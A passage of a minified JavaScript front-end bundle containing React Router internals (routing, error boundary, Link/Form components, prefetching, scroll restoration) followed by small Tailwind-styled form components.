"${c}" but pathname "${e.pathname}" was given in the \`location\` prop.`),d=e}else d=u;let f=d.pathname||`/`,p=f;if(c!==`/`){let e=c.replace(/^\//,``).split(`/`);p=`/`+f.replace(/^\//,``).split(`/`).slice(e.length).join(`/`)}let m=F(e,{pathname:p});D(l||m!=null,`No routes matched location "${d.pathname}${d.search}${d.hash}" `),D(m==null||m[m.length-1].route.element!==void 0||m[m.length-1].route.Component!==void 0||m[m.length-1].route.lazy!==void 0,`Matched leaf route at location "${d.pathname}${d.search}${d.hash}" does not have an element or Component. This means it will render an <Outlet /> with a null value by default resulting in an "empty" page.`);let h=mt(m&&m.map(e=>Object.assign({},e,{params:Object.assign({},o,e.params),pathname:Se([c,r.encodeLocation?r.encodeLocation(e.pathname.replace(/%/g,`%25`).replace(/\?/g,`%3F`).replace(/#/g,`%23`)).pathname:e.pathname]),pathnameBase:e.pathnameBase===`/`?c:Se([c,r.encodeLocation?r.encodeLocation(e.pathnameBase.replace(/%/g,`%25`).replace(/\?/g,`%3F`).replace(/#/g,`%23`)).pathname:e.pathnameBase])})),i,n);return t&&h?_.createElement(He.Provider,{value:{location:{pathname:`/`,search:``,hash:``,state:null,key:`default`,unstable_mask:void 0,...d},navigationType:`POP`}},h):h}function ct(){let e=Ct(),t=Oe(e)?`${e.status} ${e.statusText}`:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,r=`rgba(200,200,200, 0.5)`,i={padding:`0.5rem`,backgroundColor:r},a={padding:`2px 4px`,backgroundColor:r},o=null;return console.error(`Error handled by React Router default ErrorBoundary:`,e),o=_.createElement(_.Fragment,null,_.createElement(`p`,null,`ð¿ Hey developer ð`),_.createElement(`p`,null,`You can provide a way better UX than this when your app throws errors by providing your own `,_.createElement(`code`,{style:a},`ErrorBoundary`),` or`,` `,_.createElement(`code`,{style:a},`errorElement`),` prop on your route.`)),_.createElement(_.Fragment,null,_.createElement(`h2`,null,`Unexpected Application
11Error!`),_.createElement(`h3`,{style:{fontStyle:`italic`}},t),n?_.createElement(`pre`,{style:i},n):null,o)}var lt=_.createElement(ct,null),ut=class extends _.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||t.revalidation!==`idle`&&e.revalidation===`idle`?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:e.error===void 0?t.error:e.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){this.props.onError?this.props.onError(e,t):console.error(`React Router caught the following error during render`,e)}render(){let e=this.state.error;if(this.context&&typeof e==`object`&&e&&`digest`in e&&typeof e.digest==`string`){let t=Ye(e.digest);t&&(e=t)}let t=e===void 0?this.props.children:_.createElement(Ue.Provider,{value:this.props.routeContext},_.createElement(We.Provider,{value:e,children:this.props.component}));return this.context?_.createElement(ft,{error:e},t):t}};ut.contextType=Ie;var dt=new WeakMap;function ft({children:e,error:t}){let{basename:n}=_.useContext(Ve);if(typeof t==`object`&&t&&`digest`in t&&typeof t.digest==`string`){let e=Je(t.digest);if(e){let r=dt.get(t);if(r)throw r;let i=je(e.location,n);if(Ae&&!dt.get(t))if(i.isExternal||e.reloadDocument)window.location.href=i.absoluteURL||i.to;else{let n=Promise.resolve().then(()=>window.__reactRouterDataRouter.navigate(i.to,{replace:e.replace}));throw dt.set(t,n),n}return _.createElement(`meta`,{httpEquiv:`refresh`,content:`0;url=${i.absoluteURL||i.to}`})}}return e}function pt({routeContext:e,match:t,children:n}){let r=_.useContext(Pe);return r&&r.static&&r.staticContext&&(t.route.errorElement||t.route.ErrorBoundary)&&(r.staticContext._deepestRenderedBoundaryId=t.route.id),_.createElement(Ue.Provider,{value:e},n)}function mt(e,t=[],n){let r=n?.state;if(e==null){if(!r)return null;if(r.errors)e=r.matches;else if(t.length===0&&!r.initialized&&r.matches.length>0)e=r.matches;else return null}let i=e,a=r?.errors;if(a!=null){let e=i.findIndex(e=>e.route.id&&a?.[e.route.id]!==void 0);E(e>=0,`Could not find a matching route for errors on route IDs: ${Object.keys(a).join(`,`)}`),i=i.slice(0,Math.min(i.length,e+1))}let o=!1,s=-1;if(n&&r){o=r.renderFallback;for(let e=0;e<i.length;e++){let t=i[e];if((t.route.HydrateFallback||t.route.hydrateFallbackElement)&&(s=e),t.route.id){let{loaderData:e,errors:a}=r,c=t.route.loader&&!e.hasOwnProperty(t.route.id)&&(!a||a[t.route.id]===void 0);if(t.route.lazy||c){n.isStatic&&(o=!0),i=s>=0?i.slice(0,s+1):[i[0]];break}}}}let c=n?.onError,l=r&&c?(e,t)=>{c(e,{location:r.location,params:r.matches?.[0]?.params??{},unstable_pattern:ke(r.matches),errorInfo:t})}:void 0;return i.reduceRight((e,n,c)=>{let u,d=!1,f=null,p=null;r&&(u=a&&n.route.id?a[n.route.id]:void 0,f=n.route.errorElement||lt,o&&(s<0&&c===0?(Et(`route-fallback`,!1,"No `HydrateFallback` element provided to render during initial hydration"),d=!0,p=null):s===c&&(d=!0,p=n.route.hydrateFallbackElement||null)));let m=t.concat(i.slice(0,c+1)),h=()=>{let t;return t=u?f:d?p:n.route.Component?_.createElement(n.route.Component,null):n.route.element?n.route.element:e,_.createElement(pt,{match:n,routeContext:{outlet:e,matches:m,isDataRoute:r!=null},children:t})};return r&&(n.route.ErrorBoundary||n.route.errorElement||c===0)?_.createElement(ut,{location:r.location,revalidation:r.revalidation,component:f,error:u,children:h(),routeContext:{outlet:null,matches:m,isDataRoute:!0},onError:l}):h()},null)}function ht(e){return`${e} must be used within a data router. See https://reactrouter.com/en/main/routers/picking-a-router.`}function gt(e){let t=_.useContext(Pe);return E(t,ht(e)),t}function _t(e){let t=_.useContext(Fe);return E(t,ht(e)),t}function vt(e){let t=_.useContext(Ue);return E(t,ht(e)),t}function yt(e){let t=vt(e),n=t.matches[t.matches.length-1];return E(n.route.id,`${e} can only be used on routes that contain a unique "id"`),n.route.id}function bt(){return yt(`useRouteId`)}
11function xt(){return _t(`useNavigation`).navigation}function St(){let{matches:e,loaderData:t}=_t(`useMatches`);return _.useMemo(()=>e.map(e=>L(e,t)),[e,t])}function Ct(){let e=_.useContext(We),t=_t(`useRouteError`),n=yt(`useRouteError`);return e===void 0?t.errors?.[n]:e}function wt(){let{router:e}=gt(`useNavigate`),t=yt(`useNavigate`),n=_.useRef(!1);return et(()=>{n.current=!0}),_.useCallback(async(r,i={})=>{D(n.current,$e),n.current&&(typeof r==`number`?await e.navigate(r):await e.navigate(r,{fromRouteId:t,...i}))},[e,t])}var Tt={};function Et(e,t,n){!t&&!Tt[e]&&(Tt[e]=!0,D(!1,n))}_.memo(Dt);function Dt({routes:e,future:t,state:n,isStatic:r,onError:i}){return st(e,void 0,{state:n,isStatic:r,onError:i,future:t})}function Ot({to:e,replace:t,state:n,relative:r}){E(Ze(),`<Navigate> may be used only in the context of a <Router> component.`);let{static:i}=_.useContext(Ve);D(!i,`<Navigate> must not be used on the initial render in a <StaticRouter>. This is a no-op, but you should modify your code so the <Navigate> is only ever rendered in response to some user interaction or state change.`);let{matches:a}=_.useContext(Ue),{pathname:o}=Qe(),s=tt(),c=be(e,ye(a),o,r===`path`),l=JSON.stringify(c);return _.useEffect(()=>{s(JSON.parse(l),{replace:t,state:n,relative:r})},[s,l,r,t,n]),null}function kt(e){return it(e.context)}function V(e){E(!1,`A <Route> is only ever to be used as the child of <Routes> element, never rendered directly. Please wrap your <Route> in a <Routes>.`)}function At({basename:e=`/`,children:t=null,location:n,navigationType:r=`POP`,navigator:i,static:a=!1,unstable_useTransitions:o}){E(!Ze(),`You cannot render a <Router> inside another <Router>. You should never have more than one in your app.`);let s=e.replace(/^\/*/,`/`),c=_.useMemo(()=>({basename:s,navigator:i,static:a,unstable_useTransitions:o,future:{}}),[s,i,a,o]);typeof n==`string`&&(n=M(n));let{pathname:l=`/`,search:u=``,hash:d=``,state:f=null,key:p=`default`,unstable_mask:m}=n,h=_.useMemo(()=>{let e=pe(l,s);return e==null?null:{location:{pathname:e,search:u,hash:d,state:f,key:p,unstable_mask:m},navigationType:r}},[s,l,u,d,f,p,r,m]);return D(h!=null,`<Router basename="${s}"> is not able to match the URL "${l}${u}${d}" because it does not start with the basename, so the <Router> won't render anything.`),h==null?null:_.createElement(Ve.Provider,{value:c},_.createElement(He.Provider,{children:t,value:h}))}function jt({children:e,location:t}){return ot(Mt(e),t)}_.Component;function Mt(e,t=[]){let n=[];return _.Children.forEach(e,(e,r)=>{if(!_.isValidElement(e))return;let i=[...t,r];if(e.type===_.Fragment){n.push.apply(n,Mt(e.props.children,i));return}E(e.type===V,`[${typeof e.type==`string`?e.type:e.type.name}] is not a <Route> component. All component children of <Routes> must be a <Route> or <React.Fragment>`),E(!e.props.index||!e.props.children,`An index route cannot have child routes.`);let a={id:e.props.id||i.join(`-`),caseSensitive:e.props.caseSensitive,element:e.props.element,Component:e.props.Component,index:e.props.index,path:e.props.path,middleware:e.props.middleware,loader:e.props.loader,action:e.props.action,hydrateFallbackElement:e.props.hydrateFallbackElement,HydrateFallback:e.props.HydrateFallback,errorElement:e.props.errorElement,ErrorBoundary:e.props.ErrorBoundary,hasErrorBoundary:e.props.hasErrorBoundary===!0||e.props.ErrorBoundary!=null||e.props.errorElement!=null,shouldRevalidate:e.props.shouldRevalidate,handle:e.props.handle,lazy:e.props.lazy};e.props.children&&(a.children=Mt(e.props.children,i)),n.push(a)}),n}var Nt=`get`,Pt=`application/x-www-form-urlencoded`;function Ft(e){return typeof HTMLElement<`u`&&e instanceof HTMLElement}function It(e){return Ft(e)&&e.tagName.toLowerCase()===`button`}function Lt(e){return Ft(e)&&e.tagName.toLowerCase()===`form`}function Rt(e){return Ft(e)&&e.tagName.toLowerCase()===`input`}function zt(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function Bt(e,t){return e.button===0&&(!t||t===`_self`)&&!zt(e)}var Vt=null;function Ht(){if(Vt===null)try{new FormData(document.createElement(`form`),0),Vt=!1}catch{Vt=!0}return Vt}var Ut=new Set([`application/x-www-form-urlencoded`,`multipart/form-data`,`text/plain`]);function Wt(e){return e!=null&&!Ut.has(e)?(D(!1,`"${e}" is not a valid \`encType\` for \`<Form>\`/\`<fetcher.Form>\` and will default to "${Pt}"`),null):e}function Gt(e,t){let n,r,i,a,o;if(Lt(e)){let o=e.getAttribute(`action`);r=o?pe(o,t):null,n=e.getAttribute(`method`)||Nt,i=Wt(e.getAttribute(`enctype`))||Pt,a=new FormData(e)}else if(It(e)||Rt(e)&&(e.type===`submit`||e.type===`image`)){let o=e.form;if(o==null)throw Error(`Cannot submit a <button> or <input type="submit"> without a <form>`);let s=e.getAttribute(`formaction`)||o.getAttribute(`action`);if(r=s?pe(s,t):null,n=e.getAttribute(`formmethod`)||o.getAttribute(`method`)||Nt,i=Wt(e.getAttribute(`formenctype`))||Wt(o.getAttribute(`enctype`))||Pt,a=new FormData(o,e),!Ht()){let{name:t,type:n,value:r}=e;if(n===`image`){let e=t?`${t}.`:``;a.append(`${e}x`,`0`),a.append(`${e}y`,`0`)}else t&&a.append(t,r)}}else if(Ft(e))throw Error(`Cannot submit element that is not <form>, <button>, or <input type="submit|image">`);else n=Nt,r=null,i=Pt,o=e;return a&&i===`text/plain`&&(o=a,a=void 0),{action:r,method:n.toLowerCase(),encType:i,formData:a,body:o}}Object.getOwnPropertyNames(Object.prototype).sort().join(`\0`);var Kt={"&":`\\u0026`,">":`\\u003e`,"<":`\\u003c`,"\u2028":`\\u2028`,"\u2029":`\\u2029`},qt=/[&><\u2028\u2029]/g;function Jt(e){return e.replace(qt,e=>Kt[e])}function Yt(e,t){if(e===!1||e==null)throw Error(t)}function Xt(e,t,n,r){let i=typeof e==`string`?new URL(e,typeof window>
11`u`?`server://singlefetch/`:window.location.origin):e;return n?i.pathname.endsWith(`/`)?i.pathname=`${i.pathname}_.${r}`:i.pathname=`${i.pathname}.${r}`:i.pathname===`/`?i.pathname=`_root.${r}`:t&&pe(i.pathname,t)===`/`?i.pathname=`${Ce(t)}/_root.${r}`:i.pathname=`${Ce(i.pathname)}.${r}`,i}async function Zt(e,t){if(e.id in t)return t[e.id];try{let n=await S(()=>import(e.module),[]);return t[e.id]=n,n}catch(t){return console.error(`Error loading route module \`${e.module}\`, reloading page...`),console.error(t),window.__reactRouterContext&&window.__reactRouterContext.isSpaMode,window.location.reload(),new Promise(()=>{})}}function Qt(e){return e!=null&&typeof e.page==`string`}function $t(e){return e==null?!1:e.href==null?e.rel===`preload`&&typeof e.imageSrcSet==`string`&&typeof e.imageSizes==`string`:typeof e.rel==`string`&&typeof e.href==`string`}async function en(e,t,n){return on((await Promise.all(e.map(async e=>{let r=t.routes[e.route.id];if(r){let e=await Zt(r,n);return e.links?e.links():[]}return[]}))).flat(1).filter($t).filter(e=>e.rel===`stylesheet`||e.rel===`preload`).map(e=>e.rel===`stylesheet`?{...e,rel:`prefetch`,as:`style`}:{...e,rel:`prefetch`}))}function tn(e,t,n,r,i,a){let o=(e,t)=>n[t]?e.route.id!==n[t].route.id:!0,s=(e,t)=>n[t].pathname!==e.pathname||n[t].route.path?.endsWith(`*`)&&n[t].params[`*`]!==e.params[`*`];return a===`assets`?t.filter((e,t)=>o(e,t)||s(e,t)):a===`data`?t.filter((t,a)=>{let c=r.routes[t.route.id];if(!c||!c.hasLoader)return!1;if(o(t,a)||s(t,a))return!0;if(t.route.shouldRevalidate){let r=t.route.shouldRevalidate({currentUrl:new URL(i.pathname+i.search+i.hash,window.origin),currentParams:n[0]?.params||{},nextUrl:new URL(e,window.origin),nextParams:t.params,defaultShouldRevalidate:!0});if(typeof r==`boolean`)return r}return!0}):[]}function nn(e,t,{includeHydrateFallback:n}={}){return rn(e.map(e=>{let r=t.routes[e.route.id];if(!r)return[];let i=[r.module];return r.clientActionModule&&(i=i.concat(r.clientActionModule)),r.clientLoaderModule&&(i=i.concat(r.clientLoaderModule)),n&&r.hydrateFallbackModule&&(i=i.concat(r.hydrateFallbackModule)),r.imports&&(i=i.concat(r.imports)),i}).flat(1))}function rn(e){return[...new Set(e)]}function an(e){let t={},n=Object.keys(e).sort();for(let r of n)t[r]=e[r];return t}function on(e,t){let n=new Set,r=new Set(t);return e.reduce((e,i)=>{if(t&&!Qt(i)&&i.as===`script`&&i.href&&r.has(i.href))return e;let a=JSON.stringify(an(i));return n.has(a)||(n.add(a),e.push({key:a,link:i})),e},[])}function sn(){let e=_.useContext(Pe);return Yt(e,`You must render this element inside a <DataRouterContext.Provider> element`),e}function cn(){let e=_.useContext(Fe);return Yt(e,`You must render this element inside a <DataRouterStateContext.Provider> element`),e}var ln=_.createContext(void 0);ln.displayName=`FrameworkContext`;function un(){let e=_.useContext(ln);return Yt(e,`You must render this element inside a <HydratedRouter> element`),e}function dn(e,t){let n=_.useContext(ln),[r,i]=_.useState(!1),[a,o]=_.useState(!1),{onFocus:s,onBlur:c,onMouseEnter:l,onMouseLeave:u,onTouchStart:d}=t,f=_.useRef(null);_.useEffect(()=>{if(e===`render`&&o(!0),e===`viewport`){let e=new IntersectionObserver(e=>{e.forEach(e=>{o(e.isIntersecting)})},{threshold:.5});return f.current&&e.observe(f.current),()=>{e.disconnect()}}},[e]),_.useEffect(()=>{if(r){let e=setTimeout(()=>{o(!0)},100);return()=>{clearTimeout(e)}}},[r]);let p=()=>{i(!0)},m=()=>{i(!1),o(!1)};return n?e===`intent`?[a,f,{onFocus:fn(s,p),onBlur:fn(c,m),onMouseEnter:fn(l,p),onMouseLeave:fn(u,m),onTouchStart:fn(d,p)}]:[a,f,{}]:[!1,f,{}]}function fn(e,t){return n=>{e&&e(n),n.defaultPrevented||t(n)}}function pn({page:e,...t}){let n=Le(),{router:r}=sn(),i=_.useMemo(()=>F(r.routes,e,r.basename),[r.routes,e,r.basename]);return i?n?_.createElement(hn,{page:e,matches:i,...t}):_.createElement(gn,{page:e,matches:i,...t}):null}function mn(e){let{manifest:t,routeModules:n}=un(),[r,i]=_.useState([]);return _.useEffect(()=>{let r=!1;return en(e,t,n).then(e=>{r||i(e)}),()=>{r=!0}},[e,t,n]),r}function hn({page:e,matches:t,...n}){let r=Qe(),{future:i}=un(),{basename:a}=sn(),o=_.useMemo(()=>
11{if(e===r.pathname+r.search+r.hash)return[];let n=Xt(e,a,i.unstable_trailingSlashAwareDataRequests,`rsc`),o=!1,s=[];for(let e of t)typeof e.route.shouldRevalidate==`function`?o=!0:s.push(e.route.id);return o&&s.length>0&&n.searchParams.set(`_routes`,s.join(`,`)),[n.pathname+n.search]},[a,i.unstable_trailingSlashAwareDataRequests,e,r,t]);return _.createElement(_.Fragment,null,o.map(e=>_.createElement(`link`,{key:e,rel:`prefetch`,as:`fetch`,href:e,...n})))}function gn({page:e,matches:t,...n}){let r=Qe(),{future:i,manifest:a,routeModules:o}=un(),{basename:s}=sn(),{loaderData:c,matches:l}=cn(),u=_.useMemo(()=>tn(e,t,l,a,r,`data`),[e,t,l,a,r]),d=_.useMemo(()=>tn(e,t,l,a,r,`assets`),[e,t,l,a,r]),f=_.useMemo(()=>{if(e===r.pathname+r.search+r.hash)return[];let n=new Set,l=!1;if(t.forEach(e=>{let t=a.routes[e.route.id];!t||!t.hasLoader||(!u.some(t=>t.route.id===e.route.id)&&e.route.id in c&&o[e.route.id]?.shouldRevalidate||t.hasClientLoader?l=!0:n.add(e.route.id))}),n.size===0)return[];let d=Xt(e,s,i.unstable_trailingSlashAwareDataRequests,`data`);return l&&n.size>0&&d.searchParams.set(`_routes`,t.filter(e=>n.has(e.route.id)).map(e=>e.route.id).join(`,`)),[d.pathname+d.search]},[s,i.unstable_trailingSlashAwareDataRequests,c,r,a,u,t,e,o]),p=_.useMemo(()=>nn(d,a),[d,a]),m=mn(d);return _.createElement(_.Fragment,null,f.map(e=>_.createElement(`link`,{key:e,rel:`prefetch`,as:`fetch`,href:e,...n})),p.map(e=>_.createElement(`link`,{key:e,rel:`modulepreload`,href:e,...n})),m.map(({key:e,link:t})=>_.createElement(`link`,{key:e,nonce:n.nonce,...t,crossOrigin:t.crossOrigin??n.crossOrigin})))}function _n(...e){return t=>{e.forEach(e=>{typeof e==`function`?e(t):e!=null&&(e.current=t)})}}_.Component;var vn=typeof window<`u`&&window.document!==void 0&&window.document.createElement!==void 0;try{vn&&(window.__reactRouterVersion=`7.14.1`)}catch{}function yn({basename:e,children:t,unstable_useTransitions:n,window:r}){let i=_.useRef();i.current??=T({window:r,v5Compat:!0});let a=i.current,[o,s]=_.useState({action:a.action,location:a.location}),c=_.useCallback(e=>{n===!1?s(e):_.startTransition(()=>s(e))},[n]);return _.useLayoutEffect(()=>a.listen(c),[a,c]),_.createElement(At,{basename:e,children:t,location:o.location,navigationType:o.action,navigator:a,unstable_useTransitions:n})}function bn({basename:e,children:t,history:n,unstable_useTransitions:r}){let[i,a]=_.useState({action:n.action,location:n.location}),o=_.useCallback(e=>{r===!1?a(e):_.startTransition(()=>a(e))},[r]);return _.useLayoutEffect(()=>n.listen(o),[n,o]),_.createElement(At,{basename:e,children:t,location:i.location,navigationType:i.action,navigator:n,unstable_useTransitions:r})}bn.displayName=`unstable_HistoryRouter`;var xn=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Sn=_.forwardRef(function({onClick:e,discover:t=`render`,prefetch:n=`none`,relative:r,reloadDocument:i,replace:a,unstable_mask:o,state:s,target:c,to:l,preventScrollReset:u,viewTransition:d,unstable_defaultShouldRevalidate:f,...p},m){let{basename:h,navigator:g,unstable_useTransitions:v}=_.useContext(Ve),y=typeof l==`string`&&xn.test(l),b=je(l,h);l=b.to;let x=Xe(l,{relative:r}),S=Qe(),C=null;if(o){let e=be(o,[],S.unstable_mask?S.unstable_mask.pathname:`/`,!0);h!==`/`&&(e.pathname=e.pathname===`/`?h:Se([h,e.pathname])),C=g.createHref(e)}let[w,T,E]=dn(n,p),D=kn(l,{replace:a,unstable_mask:o,state:s,target:c,preventScrollReset:u,relative:r,viewTransition:d,unstable_defaultShouldRevalidate:f,unstable_useTransitions:v});function O(t){e&&e(t),t.defaultPrevented||D(t)}let k=!(b.isExternal||i),A=_.createElement(`a`,{...p,...E,href:(k?C:void 0)||b.absoluteURL||x,onClick:k?O:e,ref:_n(m,T),target:c,"data-discover":!y&&t===`render`?`true`:void 0});return w&&!y?_.createElement(_.Fragment,null,A,_.createElement(pn,{page:x})):A});Sn.displayName=`Link`;var Cn=_.forwardRef(function({"aria-current":e=`page`,caseSensitive:t=!1,className:n=``,end:r=!1,style:i,to:a,viewTransition:o,children:s,...c},l){let u=at(a,{relative:c.relative}),d=Qe(),f=_.useContext(Fe),{navigator:p,basename:m}=_.useContext(Ve),h=f!=null&&zn(u)&&o===!0,g=p.encodeLocation?p.encodeLocation(u).pathname:u.pathname,v=d.pathname,y=f&&f.navigation&&f.navigation.location?f.navigation.location.pathname:null;t||(v=v.toLowerCase(),y=y?y.toLowerCase():null,g=g.toLowerCase()),y&&m&&(y=pe(y,m)||y);let b=g!==`/`&&g.endsWith(`/`)?g.length-1:g.length,x=v===g||!r&&v.startsWith(g)&&v.charAt(b)===`/`,S=y!=null&&(y===g||!r&&y.startsWith(g)&&y.charAt(g.length)===`/`),C={isActive:x,isPending:S,isTransitioning:h},w=x?e:void 0,T;T=typeof n==`function`?n(C):[n,x?`active`:null,S?`pending`:null,h?`transitioning`:null].filter(
11Boolean).join(` `);let E=typeof i==`function`?i(C):i;return _.createElement(Sn,{...c,"aria-current":w,className:T,ref:l,style:E,to:a,viewTransition:o},typeof s==`function`?s(C):s)});Cn.displayName=`NavLink`;var wn=_.forwardRef(({discover:e=`render`,fetcherKey:t,navigate:n,reloadDocument:r,replace:i,state:a,method:o=Nt,action:s,onSubmit:c,relative:l,preventScrollReset:u,viewTransition:d,unstable_defaultShouldRevalidate:f,...p},m)=>{let{unstable_useTransitions:h}=_.useContext(Ve),g=Mn(),v=Nn(s,{relative:l}),y=o.toLowerCase()===`get`?`get`:`post`,b=typeof s==`string`&&xn.test(s);return _.createElement(`form`,{ref:m,method:y,action:v,onSubmit:r?c:e=>{if(c&&c(e),e.defaultPrevented)return;e.preventDefault();let r=e.nativeEvent.submitter,s=r?.getAttribute(`formmethod`)||o,p=()=>g(r||e.currentTarget,{fetcherKey:t,method:s,navigate:n,replace:i,state:a,relative:l,preventScrollReset:u,viewTransition:d,unstable_defaultShouldRevalidate:f});h&&n!==!1?_.startTransition(()=>p()):p()},...p,"data-discover":!b&&e===`render`?`true`:void 0})});wn.displayName=`Form`;function Tn({getKey:e,storageKey:t,...n}){let r=_.useContext(ln),{basename:i}=_.useContext(Ve),a=Qe(),o=St();Ln({getKey:e,storageKey:t});let s=_.useMemo(()=>{if(!r||!e)return null;let t=In(a,o,i,e);return t===a.key?null:t},[]);if(!r||r.isSpaMode)return null;let c=((e,t)=>{if(!window.history.state||!window.history.state.key){let e=Math.random().toString(32).slice(2);window.history.replaceState({key:e},``)}try{let n=JSON.parse(sessionStorage.getItem(e)||`{}`)[t||window.history.state.key];
11typeof n==`number`&&window.scrollTo(0,n)}catch(t){console.error(t),sessionStorage.removeItem(e)}}).toString();return _.createElement(`script`,{...n,suppressHydrationWarning:!0,dangerouslySetInnerHTML:{__html:`(${c})(${Jt(JSON.stringify(t||Pn))}, ${Jt(JSON.stringify(s))})`}})}Tn.displayName=`ScrollRestoration`;function En(e){return`${e} must be used within a data router. See https://reactrouter.com/en/main/routers/picking-a-router.`}function Dn(e){let t=_.useContext(Pe);return E(t,En(e)),t}function On(e){let t=_.useContext(Fe);return E(t,En(e)),t}function kn(e,{target:t,replace:n,unstable_mask:r,state:i,preventScrollReset:a,relative:o,viewTransition:s,unstable_defaultShouldRevalidate:c,unstable_useTransitions:l}={}){let u=tt(),d=Qe(),f=at(e,{relative:o});return _.useCallback(p=>{if(Bt(p,t)){p.preventDefault();let t=n===void 0?j(d)===j(f):n,m=()=>u(e,{replace:t,unstable_mask:r,state:i,preventScrollReset:a,relative:o,viewTransition:s,unstable_defaultShouldRevalidate:c});l?_.startTransition(()=>m()):m()}},[d,u,f,n,r,i,t,e,a,o,s,c,l])}var An=0,jn=()=>`__${String(++An)}__`;function Mn(){let{router:e}=Dn(`useSubmit`),{basename:t}=_.useContext(Ve),n=bt(),r=e.fetch,i=e.navigate;return _.useCallback(async(e,a={})=>{let{action:o,method:s,encType:c,formData:l,body:u}=Gt(e,t);a.navigate===!1?await r(a.fetcherKey||jn(),n,a.action||o,{unstable_defaultShouldRevalidate:a.unstable_defaultShouldRevalidate,preventScrollReset:a.preventScrollReset,formData:l,body:u,formMethod:a.method||s,formEncType:a.encType||c,flushSync:a.flushSync}):await i(a.action||o,{unstable_defaultShouldRevalidate:a.unstable_defaultShouldRevalidate,preventScrollReset:a.preventScrollReset,formData:l,body:u,formMethod:a.method||s,formEncType:a.encType||c,replace:a.replace,state:a.state,fromRouteId:n,flushSync:a.flushSync,viewTransition:a.viewTransition})},[r,i,t,n])}function Nn(e,{relative:t}={}){let{basename:n}=_.useContext(Ve),r=_.useContext(Ue);E(r,`useFormAction must be used inside a RouteContext`);let[i]=r.matches.slice(-1),a={...at(e||`.`,{relative:t})},o=Qe();if(e==null){a.search=o.search;let e=new URLSearchParams(a.search),t=e.getAll(`index`);if(t.some(e=>e===``)){e.delete(`index`),t.filter(e=>e).forEach(t=>e.append(`index`,t));let n=e.toString();a.search=n?`?${n}`:``}}return(!e||e===`.`)&&i.route.index&&(a.search=a.search?a.search.replace(/^\?/,`?index&`):`?index`),n!==`/`&&(a.pathname=a.pathname===`/`?n:Se([n,a.pathname])),j(a)}var Pn=`react-router-scroll-positions`,Fn={};function In(e,t,n,r){let i=null;return r&&(i=r(n===`/`?e:{...e,pathname:pe(e.pathname,n)||e.pathname},t)),i??=e.key,i}function Ln({getKey:e,storageKey:t}={}){let{router:n}=Dn(`useScrollRestoration`),{restoreScrollPosition:r,preventScrollReset:i}=On(`useScrollRestoration`),{basename:a}=_.useContext(Ve),o=Qe(),s=St(),c=xt();_.useEffect(()=>(window.history.scrollRestoration=`manual`,()=>{window.history.scrollRestoration=`auto`}),[]),Rn(_.useCallback(()=>{if(c.state===`idle`){let t=In(o,s,a,e);Fn[t]=window.scrollY}try{sessionStorage.setItem(t||Pn,JSON.stringify(Fn))}catch(e){D(!1,`Failed to save scroll positions in sessionStorage, <ScrollRestoration /> will not work properly (${e}).`)}window.history.scrollRestoration=`auto`},[c.state,e,a,o,s,t])),typeof document<`u`&&(_.useLayoutEffect(()=>{try{let e=sessionStorage.getItem(t||Pn);e&&(Fn=JSON.parse(e))}catch{}},[t]),_.useLayoutEffect(()=>{let t=n?.enableScrollRestoration(Fn,()=>window.scrollY,e?(t,n)=>In(t,n,a,e):void 0);return()=>t&&t()},[n,a,e]),_.useLayoutEffect(()=>{if(r!==!1){if(typeof r==`number`){window.scrollTo(0,r);return}try{if(o.hash){let e=document.getElementById(decodeURIComponent(o.hash.slice(1)));if(e){e.scrollIntoView();return}}}catch{D(!1,`"${o.hash.slice(1)}" is not a decodable element ID. The view will not scroll to it.`)}i!==!0&&window.scrollTo(0,0)}},[o,r,i]))}function Rn(e,t){let{capture:n}=t||{};_.useEffect(()=>{let t=n==null?void 0:{capture:n};return window.addEventListener(`pagehide`,e,t),()=>{window.removeEventListener(`pagehide`,e,t)}},[e,n])}function zn(e,{relative:t}={}){let n=_.useContext(Re);E(n!=null,"`useViewTransitionState` must be used within `react-router-dom`'s `RouterProvider`. Did you accidentally import `RouterProvider` from `react-router`?");let{basename:r}=Dn(`useViewTransitionState`),i=at(e,{relative:t});if(!n.isTransitioning)return!1;let a=pe(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=pe(n.nextLocation.pathname,r)||n.nextLocation.pathname;return ue(i.pathname,o)!=null||ue(i.pathname,a)!=null}var Bn=o((e=>{var t=Symbol.for(`react.transitional.element`),n=Symbol.for(`react.fragment`);function r(e,n,r){var i=null;if(r!==void 0&&(i=``+r),n.key!==void 0&&(i=``+n.key),`key`in n)for(var a in r={},n)a!==`key`&&(r[a]=n[a]);else r=n;return n=r.ref,{$$typeof:t,type:e,key:i,ref:n===void 0?null:n,props:r}}e.Fragment=n,e.jsx=r,e.jsxs=r})),H=o(((e,t)=>{t.exports=Bn()}))();function Vn(...e){return e.filter(Boolean).join(` `)}var Hn=`w-full border border-slate-700 bg-slate-900 px-3 py-2 text-sm text-slate-100 outline-none transition placeholder:text-slate-500 focus:border-blue-500 focus:ring-1 focus:ring-blue-500`,Un=(0,_.forwardRef)(function({className:e,...t},n){return(0,H.jsx)(`input`,{ref:n,className:Vn(Hn,e),...t})});(0,_.forwardRef)(function({className:e,...t},n){return(0,H.jsx)(`textarea`,{ref:n,className:Vn(`w-full resize-y rounded-lg border border-slate-800 bg-slate-950/70 p-3 text-sm text-slate-200 outline-none`,e),...t})});var Wn=(0,_.forwardRef)(function({className:e,...t},n){return(0,H.jsx)(`select`,{ref:n,className:Vn(Hn,e),...t})});function Gn({label:e,className:t,children:n}){return(0,H.jsxs)(`label`,{className:Vn(`flex flex-col gap-2 text-sm text-slate-300`,t),children:[(0,H.jsx)(`span`,{children:e}),n]})}function Kn(...e){return e.filter(Boolean).join(` `)}function qn({children:e,className:t}){return(0,H.jsx)(`h3`,{className:Kn(`text-base font-semibold text-slate-100`,t),children:e})}function Jn({children:e,className:t}){return(0,H.jsx)(`p`,{className:Kn(`text-sm font-medium text-slate-300`,t),children:e})}function Yn(...e){return e.filter(Boolean).join(` `)}function Xn({children:e,className:t}){return(0,H.jsx)(`div`,{className:Yn(`overflow-x-auto rounded-lg border border-slate-800 main-scrollbar`,t),children:e})}function 